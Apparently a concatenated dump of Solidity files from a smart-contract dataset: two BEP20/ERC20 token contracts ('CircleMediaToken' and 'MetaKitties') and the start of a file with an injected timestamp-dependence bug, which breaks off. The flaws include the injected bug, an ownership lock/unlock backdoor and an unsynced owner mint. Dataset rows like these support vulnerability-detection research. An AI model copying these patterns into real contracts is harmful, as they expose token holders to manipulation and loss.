assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 251,690 | 1,739 |
66f292ae7ed767b7e5e1e4bcf4f12e57effddb69a0af2cd2a25bbc522dc592bc
| 37,944 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x50446C80a7D9c5E8E5D2a107d34B10B4B59d8D4d/contract.sol
| 4,912 | 19,230 |
//By PandaEver
//WhatsApp: 6282278103764
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
}
contract CircleMediaToken is BEP20('CircleMediaToken', 'CMT') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CMT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CMT::delegateBySig: invalid nonce");
require(now <= expiry, "CMT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CMT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CMTs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CMT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 251,142 | 1,740 |
8542e811013fb88d69925392c3949a6361781675ec2c6963177a18b03c745d8c
| 31,638 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a1/a1dc5a64d25f23c5a8b9df5f37e4c6f527f445f2_MetaKitties.sol
| 5,602 | 20,612 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract MetaKitties is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "MetaKitties";
string private _symbol = "MEOW";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 7;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 150000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
| 97,026 | 1,741 |
51a0df6e61a5a4d82483678230a7fbf3d3ccea0b5ade56108b6fb77329a9295c
| 21,942 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Dependency_of_timestamp/Sol/buggy_34.sol
| 4,752 | 15,621 |
pragma solidity >=0.5.11;
contract Ownable {
address winner_tmstmp39;
function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp39 = msg.sender;}}
